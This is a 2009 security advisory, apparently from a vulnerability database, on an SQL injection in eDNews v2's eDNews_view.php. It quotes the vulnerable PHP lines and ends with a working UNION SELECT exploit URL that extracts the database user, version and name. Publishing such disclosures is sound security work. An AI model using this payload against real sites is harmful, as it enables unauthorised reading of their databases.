eDNews v2 (eDNews_view.php newsid) SQL Injection Vulnerability

2009-01-05 / 2009-01-06
Credit: Virangar
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

####################################################################################### # # # ...:::::eDNews v2 SQL Injection Vulnerability::::.... # ####################################################################################### Virangar Security Team www.virangar.net -------- Discoverd By :virangar security team(hadihadi) special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra & all virangar members & all hackerz greetz:to my best friend in the world hadi_aryaie2004 & my lovely friend arash(imm02tal) ------- vuln code in eDNews_view.php: line 22-23: if ( isset( $_REQUEST['newsid'] ) ) { ${$CONFIG['fld_id']} = $_REQUEST['newsid']; .... line 42-46: $arr_select = array( $CONFIG['fld_id'], ''.$CONFIG['fld_title'].'', ''.$CONFIG['fld_content'].'',''.$CONFIG['fld_dateCreated'].'',''.$CONFIG['fld_score'] .''); $arr_from = array($CONFIG['table']); $where = $CONFIG['fld_id'].' = '.${$CONFIG['fld_id']}; $eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, null, 'extended', $CONFIG['debug'], null, '1' ); $arr_rst = $eDQuery_->getRecords(); --- exploit: http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/* ------- young iranian h4ck3rz

References:

http://www.milw0rm.com/exploits/7619
http://secunia.com/advisories/33336


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top